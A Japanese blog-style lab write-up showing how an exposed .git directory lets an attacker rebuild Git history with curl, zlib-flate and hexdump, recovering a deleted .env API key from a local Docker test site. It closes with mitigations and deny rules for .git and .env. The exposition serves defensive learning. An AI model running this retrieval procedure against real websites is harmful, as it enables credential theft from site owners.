A. それはもう大変なことになる
はじめに
ドキュメントルート以下に .git
が閲覧可能な状態であるとします。
/var/www/html/
├── .git/
│ ├── HEAD
│ ├── config
│ ├── objects/
│ ├── refs/
│ └── ...
├── .gitignore
├── index.php
├── style.css
└── script.js
↑ のWebサイトについて攻撃者の視点から考えた場合、以下のような流れで情報を抜ける可能性があります。
1. /.git/HEAD
にアクセス
- データを返す ⇒ 攻撃可能なサイトとして認識される
- 現在のブランチが漏洩する
ref: refs/heads/main
2. /.git/refs/heads/main
にアクセス
- 手順1で確認できた現在のブランチの情報を元に main ブランチの現在のコミットハッシュを取得できる
07826ee6eb234f9c660d2c1db9ba930c49cc04d3
3. /.git/objects/07/826ee6eb234f9c660d2c1db9ba930c49cc04d3
にアクセス
- 手順2で確認できた40桁のハッシュを元に
.git/objects
以下のファイル(Git オブジェクト)を取得-
07826ee6eb234f9c660d2c1db9ba930c49cc04d3
の先頭2文字07
がフォルダとなり、残りの38桁826ee6eb234f9c660d2c1db9ba930c49cc04d3
がファイル名となります
-
話がややこしくなる&私自身しっかりと理解できていない状態のため端折りますが、この Git オブジェクトは物理的に必ず存在するものということもなさそうです。
例を挙げると既存のリポジトリをクローンのみ実施した状態で、.git/objects
以下に2桁の Git オブジェクトを格納するフォルダが1つも存在しないことを確認しました。
これについては Git の パックファイル
や gc
について調べていくと何かわかるかも。
4. ダウンロードした Git オブジェクトの中身を覗く
$ cat 826ee6eb234f9c660d2c1db9ba930c49cc04d3 | zlib-flate -uncompress
commit 242tree 02488d1c3f89135dce0c7f8592e7f85bce043ee4
parent c546ed1c78cc9676b6cfa9c5a12e130f04f89383
author [ユーザー] <[メールアドレス]> 1740965208 +0900
committer [ユーザー] <[メールアドレス]> 1740965208 +0900
コミットメッセージ
Git オブジェクトと呼ばれるファイルは zlib で圧縮されています。
WSL2(Ubuntu 20.04)環境では zlib で圧縮されたファイルを展開するために zlib-flate
コマンドが利用できます。
zlib-flate
は qpdf パッケージに含まれるので以下の手順でインストールします。
$ sudo apt-get install qpdf
5. ツリーオブジェクトを取得し、中身から重要なファイルの情報を見つける
- コミットオブジェクト内の
tree <hash>
のハッシュに対応する Git オブジェクト(ツリーオブジェクト)を取得 - 取得したツリーオブジェクトを
zlib-flate
で展開し、中身に目的のファイルが含まれてるか確認
6-A. 目的のファイルが含まれている場合
- 目的のファイルに対応するハッシュを元に Git オブジェクト(Blob オブジェクト)を取得
- 取得した Blob オブジェクトを
zlib-flate
で展開して目的達成
6-B. 目的のファイルが含まれていない場合
- コミットオブジェクト内の
parent <hash>
のハッシュを遡っていく- 3~5の手順を繰り返していくということです
この手作業の手順について自動化したツールなんかも探すと見つかりました
この記事では紹介しません。
検証用に脆弱な状態のアプリケーションを開発する
検証とはいえインターネット上に脆弱な状態の .git
を配置するのは怖いので、WSL2(Ubuntu 20.04)環境下で php:apache
の Docker イメージを活用した Docker 環境を立てての検証を行いました。
検証内容
.env
への外からのアクセスについて適切な遮断の設定を行った状態で、Git の変更履歴から .env
の内容を抜けることを検証します
環境情報
- Windows 10、WSL2(Ubuntu 20.04)
- git version 2.25.1
- Docker version 27.5.1, build 9f9e405
- qpdf 9.1.1-1ubuntu0.1 amd64
1. 検証用環境構築
空のフォルダ作成 → git init
→ Docker 環境を起動するところまでを1つの作業として実施し、発生した差異をコミットするところまでを最初の手順とします
$ mkdir dotgit_on_documentroot_demo && cd $_
$ git init
Initialized empty Git repository in /home/tikuwa/workspace/dotgit_on_documentroot_demo/.git/
Dockerfile 作成
FROM composer:2.8.6 as composer
FROM php:8.4.4-apache AS shared
SHELL ["/bin/bash", "-oeux", "pipefail", "-c"]
ARG UID=1000
ARG GID=1000
ENV COMPOSER_HOME=/composer
RUN groupmod -o -g ${GID} www-data && \
usermod -o -u ${UID} -g www-data www-data
COPY --from=composer /usr/bin/composer /usr/bin/composer
RUN apt-get update && \
apt-get -y --no-install-recommends install \
git \
unzip && \
apt-get clean && \
rm -rf /var/lib/apt/lists/* && \
mkdir ${COMPOSER_HOME} && \
chown -R www-data: ${COMPOSER_HOME} && \
a2enmod rewrite
WORKDIR /var/www/html
USER www-data
上記の Dockerfile を読み込む compose.yml 作成
services:
app:
build:
context: ./
dockerfile: ./.docker/app/Dockerfile
ports:
- "80:80"
volumes:
- .:/var/www/html:cached
- php:apache の Docker イメージを使用しているためコンテナ内では httpd が稼働しています
-
.git
を含むカレントと httpd のデフォルトのドキュメントルート(/var/www/html
)についてボリューム共有を行うことでホストPCのブラウザからhttp://localhost/.git/~~
のようなアクセスを可能とします
Docker 環境起動
$ docker compose up -d
~~~省略~~~
[+] Running 3/3
✔ app Built 0.0s
✔ Network dotgit_on_documentroot_demo_default Created 0.3s
✔ Container dotgit_on_documentroot_demo-app-1 Started 0.5s
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
daddde85655d dotgit_on_documentroot_demo-app "docker-php-entrypoi…" 12 seconds ago Up 11 seconds 0.0.0.0:80->80/tcp dotgit_on_documentroot_demo-app-1
コミット ⇒ ブランチ名について main に上書き設定
$ git add .
$ git commit -m "first commit."
[master (root-commit) 166552a] first commit.
2 files changed, 35 insertions(+)
create mode 100644 .docker/app/Dockerfile
create mode 100644 compose.yml
$ git branch
* master
$ git branch -M main
$ git branch
* main
- 冒頭に書いた通りリモートへのプッシュなどは実施しません
動作確認
ホストPCのブラウザから http://localhost/.git/config
にアクセスできることを確認
同様に http://localhost/.git/HEAD
から現在のブランチの情報を確認
http://localhost/.git/refs/heads/main
からコミットのハッシュを確認
166552a2c7fd47b7343cb09f09481b4b65d5c387
取得した40桁のコミットハッシュのうち先頭2桁 の 16
、残り38桁の 6552a2c7fd47b7343cb09f09481b4b65d5c387
に合致するファイルの存在をエクスプローラー上でも確認
↓
http://localhost/.git/objects/16/6552a2c7fd47b7343cb09f09481b4b65d5c387
へアクセスしコミットに対応する Git オブジェクトをダウンロードできることを確認
2. .env、.htaccess 作成
プロジェクトルートの .env
に適当な公開してはいけない API キーを1つ作成
SOME_IMPORTANT_APIKEY=K3YJWYT4GXAQN5G9
.env
へのアクセスについて 404 エラーとする設定を含む .htaccess
を作成
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/\.env [NC]
RewriteRule .* - [R=404,L]
.env
と .htaccess
をコミット
$ git add .
$ git commit -m "second commit."
[main bdb1f90] second commit.
2 files changed, 4 insertions(+)
create mode 100644 .env
create mode 100644 .htaccess
動作確認
http://localhost/.env
にアクセス.htaccess
の設定によって .env
にアクセスできないことを確認
ここまでの Git のログは以下の通り
$ git log
+commit bdb1f90edd2c8650c878fb5e83b5a154e8e4acca (HEAD -> main)
+Author: imo-tikuwa <メールアドレス>
+Date: Tue Mar 11 21:16:48 2025 +0900
+
+ second commit.
+
commit 166552a2c7fd47b7343cb09f09481b4b65d5c387
Author: imo-tikuwa <メールアドレス>
Date: Tue Mar 11 21:06:49 2025 +0900
first commit.
3. .env
について適切な Git 管理を行う修正
1つ前の 2. .env、.htaccess 作成 で実施した変更履歴だけだと情報漏洩の検証手順がシンプルすぎて事の問題点が分かりづらいです。
ということで今回は一度誤って Git 管理してしまった .env
について、後付けで適切な Git 管理を行うという修正を実施します
まずは Git 管理中の .env
を削除
.env.example
というファイルで環境変数のキーのみを管理するよう修正
SOME_IMPORTANT_APIKEY=
.env
は Git 管理しないような .gitignore
設定を新規で作成
.env
変更内容をステージ
$ git add .
改めて .env
を作成
SOME_IMPORTANT_APIKEY=K3YJWYT4GXAQN5G9
.env
の削除、.env.example
、.gitignore
の3ファイルをコミット
$ git commit -m "third commit."
[main 6040f55] third commit.
3 files changed, 2 insertions(+), 1 deletion(-)
delete mode 100644 .env
create mode 100644 .env.example
create mode 100644 .gitignore
そのまま続けて .env
に記載のAPIキーを元に HTTP クライアントのライブラリを用いて適当なデータを取得、表示するようなコードを作成します。
composer init
を実行
$ docker compose exec app composer init
Welcome to the Composer config generator
This command will guide you through creating your composer.json config.
Package name (<vendor>/<name>) [root/html]:
Description []:
Author [n to skip]: n
Minimum Stability []:
Package Type (e.g. library, project, metapackage, composer-plugin) []:
License []:
Define your dependencies.
Would you like to define your dependencies (require) interactively [yes]? n
Would you like to define your dev dependencies (require-dev) interactively [yes]? n
Add PSR-4 autoload mapping? Maps namespace "Root\Html" to the entered relative path. [src/, n to skip]: n
{
"name": "root/html",
"require": {}
}
Do you confirm generation [yes]?
Would you like the vendor directory added to your .gitignore [yes]?
PHP で .env
を扱うのに vlucas/phpdotenv をインストール
更に、HTTP クライアントライブラリの Guzzle をインストール
$ docker compose exec app composer require vlucas/phpdotenv
~~~省略~~~
Using version ^5.6 for vlucas/phpdotenv
$ docker compose exec app composer require guzzlehttp/guzzle
~~~省略~~~
Using version ^7.9 for guzzlehttp/guzzle
.env
で管理する API キーの情報を付加して、適当な検証用のサイト HTTP クライアントリクエストを送信、適当な応答を受けそのダンプを出力するような適当な画面を作成します。
今回の検証の中ではリクエスト先について JSONPlaceholder を利用させていただきました。
<?php
require_once 'vendor/autoload.php';
use Dotenv\Dotenv;
use GuzzleHttp\Client;
$dotenv = Dotenv::createImmutable(__DIR__);
$dotenv->load();
$apiKey = $_ENV['SOME_IMPORTANT_APIKEY'] ?? null;
if (!$apiKey) {
die("APIキーが設定されていません。");
}
try {
$client = new Client();
$response = $client->request('GET', 'https://jsonplaceholder.typicode.com/posts/1', [
'headers' => [
'Authorization' => "Bearer {$apiKey}",
'Accept' => 'application/json',
]
]);
$body = json_decode($response->getBody(), true);
} catch (\Exception $e) {
die("APIリクエストに失敗しました: " . $e->getMessage());
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>APIレスポンス</title>
</head>
<body>
<p><strong>タイトル:</strong> <?php echo htmlspecialchars($body['title'] ?? 'N/A'); ?></p>
<p><strong>内容:</strong> <?php echo nl2br(htmlspecialchars($body['body'] ?? 'N/A')); ?></p>
</body>
</html>
composer の操作によって発生した composer.json
、composer.lock
、.gitignore
と、新規作成した index.php など計4ファイルをコミット
$ git add .
$ git commit -m "4th commit."
[main 32ae9c9] 4th commit.
4 files changed, 1125 insertions(+), 1 deletion(-)
create mode 100644 composer.json
create mode 100644 composer.lock
create mode 100644 index.php
動作確認
http://localhost/.env
および http://localhost/.env.example
は .htaccess
の設定によってアクセスできないことを確認
ここまでの Git のログは以下の通り
$ git log
+commit 32ae9c9acac423361c6319c86f6211485f31c513 (HEAD -> main)
+Author: imo-tikuwa <メールアドレス>
+Date: Tue Mar 11 21:35:53 2025 +0900
+
+ 4th commit.
+
+commit 6040f557cd7eaf94646bcbeb20150b4e831765f7
+Author: imo-tikuwa <メールアドレス>
+Date: Tue Mar 11 21:28:07 2025 +0900
+
+ third commit.
+
commit bdb1f90edd2c8650c878fb5e83b5a154e8e4acca
Author: imo-tikuwa <メールアドレス>
Date: Tue Mar 11 21:16:48 2025 +0900
second commit.
commit 166552a2c7fd47b7343cb09f09481b4b65d5c387
Author: imo-tikuwa <メールアドレス>
Date: Tue Mar 11 21:06:49 2025 +0900
first commit.
- 作業ブランチなどは作らずに main ブランチで4回のコミットを行いました
検証環境からコマンド操作によって重要な情報を抜く
1つ前の章で作成した検証用のアプリケーションからの重要な情報の奪取を試みます。
ブラウザでURLをポチポチ入力 ⇒ ダウンロードを繰り返すのは手間なので、ここからは http://localhost
に対して curl コマンドを介した情報取得を行っていきます
$ cd ..
$ mkdir dotgit_objects_collection && cd $_
curl で取得したファイルを保管する収集用ディレクトリを作成、カレント移動
1. /.git/HEAD
からカレントのブランチを確認
$ curl -sS http://localhost/.git/HEAD
ref: refs/heads/main
2. /.git/refs/heads/main
から main ブランチのコミットハッシュ取得
$ curl -sS http://localhost/.git/refs/heads/main
32ae9c9acac423361c6319c86f6211485f31c513
ここで取得できるハッシュに対応する Git オブジェクトはオブジェクトの種類(ツリー/コミット/Blob)でいうところのコミットオブジェクトで確定(のはず?)
3. /.git/objects/32/ae9c9acac423361c6319c86f6211485f31c513
の Git オブジェクト取得
$ mkdir 32
$ curl -sS -o 32/ae9c9acac423361c6319c86f6211485f31c513 http://localhost/.git/objects/32/ae9c9acac423361c6319c86f6211485f31c513
$ ls -l 32/
total 4
-rw-r--r-- 1 tikuwa tikuwa 160 Mar 11 22:32 ae9c9acac423361c6319c86f6211485f31c513
$ cat 32/ae9c9acac423361c6319c86f6211485f31c513 | zlib-flate -uncompress | perl -pe 's/^[^\x00]*\x00//'
tree a249622babe924215969c139ec63e04d450b92cf
parent 6040f557cd7eaf94646bcbeb20150b4e831765f7
author imo-tikuwa <メールアドレス> 1741696553 +0900
committer imo-tikuwa <メールアドレス> 1741696553 +0900
4th commit.
- curl でローカルにダウンロードした Git オブジェクトについて、
cat ⇒ zlib-flate ⇒ perl
のコマンド操作を行うことで Git オブジェクトの中身の情報が取得できました
zlib-flate -uncompress の結果を渡している perl スクリプトについて
perl -pe 's/^[^\x00]*\x00//'
の perl スクリプトのパイプを付加しなかった場合、以下のような出力になります。
$ cat 32/ae9c9acac423361c6319c86f6211485f31c513 | zlib-flate -uncompress
commit 242tree a249622babe924215969c139ec63e04d450b92cf
parent 6040f557cd7eaf94646bcbeb20150b4e831765f7
author imo-tikuwa <メールアドレス> 1741696553 +0900
committer imo-tikuwa <メールアドレス> 1741696553 +0900
4th commit.
zlib-flate -uncompress
の出力によって得られる Git オブジェクトの情報にはヘッダー情報が含まれます。
↑ の例では commit 242
の部分がヘッダー情報です。
読めはしますが git cat-file -p <hash>
で確認できる出力と比べて先頭行に少しだけ情報が付与されてしまいます。これが Git オブジェクトのヘッダー情報なわけですが、今回は | perl -pe 's/^[^\x00]*\x00//'
という perl スクリプトを通し最初の \x00(NULLバイト)までのヘッダー部分を除いた結果を取得しています。
4. /.git/objects/60/40f557cd7eaf94646bcbeb20150b4e831765f7
の Git オブジェクト取得
4th commit.
の parent に記載されているハッシュから親のコミットオブジェクトを取得します
$ mkdir 60
$ curl -sS -o 60/40f557cd7eaf94646bcbeb20150b4e831765f7 http://localhost/.git/objects/60/40f557cd7eaf94646bcbeb20150b4e831765f7
$ ls -l 60/
total 4
-rw-r--r-- 1 tikuwa tikuwa 161 Mar 11 23:12 40f557cd7eaf94646bcbeb20150b4e831765f7
$ cat 60/40f557cd7eaf94646bcbeb20150b4e831765f7 | zlib-flate -uncompress | perl -pe 's/^[^\x00]*\x00//'
tree 9dda45766d284e6210007a47e5cb6b426b7f199e
parent bdb1f90edd2c8650c878fb5e83b5a154e8e4acca
author imo-tikuwa <メールアドレス> 1741696087 +0900
committer imo-tikuwa <メールアドレス> 1741696087 +0900
third commit.
5. /.git/objects/9d/da45766d284e6210007a47e5cb6b426b7f199e
の Git オブジェクト取得
third commit.
の tree に記載されているハッシュからツリーオブジェクトを取得します
$ mkdir 9d
$ curl -sS -o 9d/da45766d284e6210007a47e5cb6b426b7f199e http://localhost/.git/objects/9d/da45766d284e6210007a47e5cb6b426b7f199e
$ ls -l 9d/
total 4
-rw-r--r-- 1 tikuwa tikuwa 190 Mar 11 23:25 da45766d284e6210007a47e5cb6b426b7f199e
ツリーオブジェクトは展開後のデータにバイナリを含むため読める情報を取得するために hexdump
や xxd
のようなコマンドを用います。
取得した結果の オフセット + 16進数 + ASCII文字列
のうち、右側の ASCII文字列
に .env
と思わしき文字列が含まれるかをチェック(3番目のコミットでは .env
について削除をしているため含まれない)
$ cat 9d/da45766d284e6210007a47e5cb6b426b7f199e | zlib-flate -uncompress | hexdump -C
00000000 74 72 65 65 20 31 38 38 00 34 30 30 30 30 20 2e |tree 188.40000 .|
00000010 64 6f 63 6b 65 72 00 36 af 0b bd d9 05 55 d6 ba |docker.6.....U..|
00000020 8a 37 6c 34 0d 2b 34 17 3c ba 59 31 30 30 36 34 |.7l4.+4.<.Y10064|
00000030 34 20 2e 65 6e 76 2e 65 78 61 6d 70 6c 65 00 8a |4 .env.example..|
00000040 de f1 6c 5d 7d 7d d4 71 a4 cc 9c d2 a2 65 3e fc |..l]}}.q.....e>.|
00000050 ff 51 3e 31 30 30 36 34 34 20 2e 67 69 74 69 67 |.Q>100644 .gitig|
00000060 6e 6f 72 65 00 2e ea 52 5d 88 5d 51 48 10 8f 6f |nore...R].]QH..o|
00000070 3a 9a 86 13 86 3f 78 3d 36 31 30 30 36 34 34 20 |:....?x=6100644 |
00000080 2e 68 74 61 63 63 65 73 73 00 46 23 f2 f2 83 3d |.htaccess.F#...=|
00000090 a4 7f 8c 64 27 0d 26 8a 24 b4 36 e1 45 e5 31 30 |...d'.&.$.6.E.10|
000000a0 30 36 34 34 20 63 6f 6d 70 6f 73 65 2e 79 6d 6c |0644 compose.yml|
000000b0 00 c8 95 b3 38 2b 16 fd 5e b6 7a 08 b9 63 5f fe |....8+..^.z..c_.|
000000c0 df 8f f4 31 bd |...1.|
xxd を使った場合
hexdump
の代わりに xxd
を使った場合も同じ情報は取得できました
$ cat 9d/da45766d284e6210007a47e5cb6b426b7f199e | zlib-flate -uncompress | xxd -C
00000000: 7472 6565 2031 3838 0034 3030 3030 202e tree 188.40000 .
00000010: 646f 636b 6572 0036 af0b bdd9 0555 d6ba docker.6.....U..
00000020: 8a37 6c34 0d2b 3417 3cba 5931 3030 3634 .7l4.+4.<.Y10064
00000030: 3420 2e65 6e76 2e65 7861 6d70 6c65 008a 4 .env.example..
00000040: def1 6c5d 7d7d d471 a4cc 9cd2 a265 3efc ..l]}}.q.....e>.
00000050: ff51 3e31 3030 3634 3420 2e67 6974 6967 .Q>100644 .gitig
00000060: 6e6f 7265 002e ea52 5d88 5d51 4810 8f6f nore...R].]QH..o
00000070: 3a9a 8613 863f 783d 3631 3030 3634 3420 :....?x=6100644
00000080: 2e68 7461 6363 6573 7300 4623 f2f2 833d .htaccess.F#...=
00000090: a47f 8c64 270d 268a 24b4 36e1 45e5 3130 ...d'.&.$.6.E.10
000000a0: 3036 3434 2063 6f6d 706f 7365 2e79 6d6c 0644 compose.yml
000000b0: 00c8 95b3 382b 16fd 5eb6 7a08 b963 5ffe ....8+..^.z..c_.
000000c0: df8f f431 bd ...1.
- 16進数について4桁ずつまとまって表示される
- ASCII文字列の外枠が無い
$ cat 9d/da45766d284e6210007a47e5cb6b426b7f199e | zlib-flate -uncompress | xxd -g1 -C
00000000: 74 72 65 65 20 31 38 38 00 34 30 30 30 30 20 2e tree 188.40000 .
00000010: 64 6f 63 6b 65 72 00 36 af 0b bd d9 05 55 d6 ba docker.6.....U..
00000020: 8a 37 6c 34 0d 2b 34 17 3c ba 59 31 30 30 36 34 .7l4.+4.<.Y10064
00000030: 34 20 2e 65 6e 76 2e 65 78 61 6d 70 6c 65 00 8a 4 .env.example..
00000040: de f1 6c 5d 7d 7d d4 71 a4 cc 9c d2 a2 65 3e fc ..l]}}.q.....e>.
00000050: ff 51 3e 31 30 30 36 34 34 20 2e 67 69 74 69 67 .Q>100644 .gitig
00000060: 6e 6f 72 65 00 2e ea 52 5d 88 5d 51 48 10 8f 6f nore...R].]QH..o
00000070: 3a 9a 86 13 86 3f 78 3d 36 31 30 30 36 34 34 20 :....?x=6100644
00000080: 2e 68 74 61 63 63 65 73 73 00 46 23 f2 f2 83 3d .htaccess.F#...=
00000090: a4 7f 8c 64 27 0d 26 8a 24 b4 36 e1 45 e5 31 30 ...d'.&.$.6.E.10
000000a0: 30 36 34 34 20 63 6f 6d 70 6f 73 65 2e 79 6d 6c 0644 compose.yml
000000b0: 00 c8 95 b3 38 2b 16 fd 5e b6 7a 08 b9 63 5f fe ....8+..^.z..c_.
000000c0: df 8f f4 31 bd ...1.
-
xxd -C
に-g1
オプションを付けるとhexdump -C
の出力に近くなった
6. /.git/objects/bd/b1f90edd2c8650c878fb5e83b5a154e8e4acca
の Git オブジェクト取得
third commit.
の parent に記載されているハッシュから親のコミットオブジェクトを取得します
$ mkdir bd
$ curl -sS -o bd/b1f90edd2c8650c878fb5e83b5a154e8e4acca http://localhost/.git/objects/bd/b1f90edd2c8650c878fb5e83b5a154e8e4acca
$ ls -l bd/
total 4
-rw-r--r-- 1 tikuwa tikuwa 164 Mar 11 23:36 b1f90edd2c8650c878fb5e83b5a154e8e4acca
$ cat bd/b1f90edd2c8650c878fb5e83b5a154e8e4acca | zlib-flate -uncompress | perl -pe 's/^[^\x00]*\x00//'
tree 1d19c91df3a33115fd239713db30c7a2ab76eea0
parent 166552a2c7fd47b7343cb09f09481b4b65d5c387
author imo-tikuwa <メールアドレス> 1741695408 +0900
committer imo-tikuwa <メールアドレス> 1741695408 +0900
second commit.
7. /.git/objects/1d/19c91df3a33115fd239713db30c7a2ab76eea0
の Git オブジェクト取得
second commit.
の tree に記載されているハッシュからツリーオブジェクトを取得します
$ mkdir 1d
$ curl -sS -o 1d/19c91df3a33115fd239713db30c7a2ab76eea0 http://localhost/.git/objects/1d/19c91df3a33115fd239713db30c7a2ab76eea0
$ ls -l 1d/
total 4
-rw-r--r-- 1 tikuwa tikuwa 150 Mar 11 23:46 19c91df3a33115fd239713db30c7a2ab76eea0
ツリーオブジェクトの中身を確認(ASCII文字列の中から2番目のコミットで誤って Git 管理した .env
と思わしき文字列を発見)
$ cat 1d/19c91df3a33115fd239713db30c7a2ab76eea0 | zlib-flate -uncompress | hexdump -C
00000000 74 72 65 65 20 31 34 32 00 34 30 30 30 30 20 2e |tree 142.40000 .|
00000010 64 6f 63 6b 65 72 00 36 af 0b bd d9 05 55 d6 ba |docker.6.....U..|
00000020 8a 37 6c 34 0d 2b 34 17 3c ba 59 31 30 30 36 34 |.7l4.+4.<.Y10064|
00000030 34 20 2e 65 6e 76 00 f6 84 ff e4 78 f3 b4 15 7e |4 .env.....x...~|
00000040 bb d6 1f 9f ba 00 ea b6 14 e9 71 31 30 30 36 34 |..........q10064|
00000050 34 20 2e 68 74 61 63 63 65 73 73 00 46 23 f2 f2 |4 .htaccess.F#..|
00000060 83 3d a4 7f 8c 64 27 0d 26 8a 24 b4 36 e1 45 e5 |.=...d'.&.$.6.E.|
00000070 31 30 30 36 34 34 20 63 6f 6d 70 6f 73 65 2e 79 |100644 compose.y|
00000080 6d 6c 00 c8 95 b3 38 2b 16 fd 5e b6 7a 08 b9 63 |ml....8+..^.z..c|
00000090 5f fe df 8f f4 31 bd |_....1.|
00000097
8. ツリーオブジェクトのダンプから Blob オブジェクトのハッシュを取得
.env
ファイルの実体は Blob オブジェクトというこれまでに確認してきたコミットオブジェクトやツリーオブジェクトとは異なる種類の Git オブジェクトに格納されています。
というわけで今度は .env
に対応する Blob オブジェクトのハッシュの取得を試みます。
以下は手順7で取得したツリーオブジェクトのダンプの .env
に関する情報の抜粋です。
00000030 34 20 2e 65 6e 76 00 f6 84 ff e4 78 f3 b4 15 7e |4 .env.....x...~|
00000040 bb d6 1f 9f ba 00 ea b6 14 e9 71 31 30 30 36 34 |..........q10064|
ツリーオブジェクト内の1ファイル辺りの情報は <ファイルのモード><スペース><ファイル名><NULLバイト><Blob オブジェクトのハッシュ>
という並びで表現されています。
.env
に対応する 16進数は以下に添付する対応表を見て分かる通り 2e 65 6e 76
です。
ファイル名の後のNULLバイト(00
)を飛ばして後続の40桁を抽出すると f684ffe478f3b4157ebbd61f9fba00eab614e971
という文字列が得られました。
これが Blob オブジェクトのハッシュになります。
9. /.git/objects/f6/84ffe478f3b4157ebbd61f9fba00eab614e971
の Git オブジェクト取得
Blob オブジェクトも他の Git オブジェクトと同様に .git/objects
以下に含まれるため、取得の仕方は同じになります。
$ mkdir f6
$ curl -sS -o f6/84ffe478f3b4157ebbd61f9fba00eab614e971 http://localhost/.git/objects/f6/84ffe478f3b4157ebbd61f9fba00eab614e971
$ ls -l f6/
total 4
-rw-r--r-- 1 tikuwa tikuwa 54 Mar 12 22:39 84ffe478f3b4157ebbd61f9fba00eab614e971
$ cat f6/84ffe478f3b4157ebbd61f9fba00eab614e971 | zlib-flate -uncompress | perl -pe 's/^[^\x00]*\x00//'
SOME_IMPORTANT_APIKEY=K3YJWYT4GXAQN5G9
ドキュメントルート以下に .git
が漏洩している状況下で Git オブジェクトを遡っていくことで、公開されていないファイルの情報を取得できました!
対策
今回は .git
の漏洩と変更履歴に重要な情報をハードコートするという2つの過ちの合わせ技によって外に公開されてはいけない API キーが漏洩するという流れの検証が行えました。
取れる対策については以下(当たり前のようなことしか書いてない)
- 重要な情報をプログラムにハードコートしない
- ドキュメントルート以下に
.git
を配置するような構成を作らない- 今時のフレームワークであればそもそもこのような構成にならない
-
.git
について利用しているWebサーバーが httpd の場合は設定ファイルもしくは.htaccess
、nginx の場合は設定ファイルで一律アクセスを拒否するルールを追加- .(ドット)で始まるファイルは一律除外するくらいでもいいかも
- ↑ だと Let's Encrypt の .well-known/acme-challenge(HTTP-01 チャレンジ) を使った証明書更新が動作しなくなるかもしれないのでその辺の考慮は必要かも
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(\.git|\.env) [NC]
RewriteRule .* - [R=404,L]
location ~* /(\.git|\.env) {
return 404;
}
参考サイト
Git オブジェクトについて公式のドキュメント
以下のページは Git オブジェクトの種類など .git
内の歩き方について簡潔にまとまっており勉強になりました
以下のページより hexdump / xxd コマンドのオプションの意味を知ることができました
以下のページの ASCII コード表について記事内の .env
の16進数表記の確認に使用させていただきました
その他
記事内に書いた perl スクリプトや hexdump のダンプ情報の読み解き方なんかは ChatGPT、Claudeを頼りました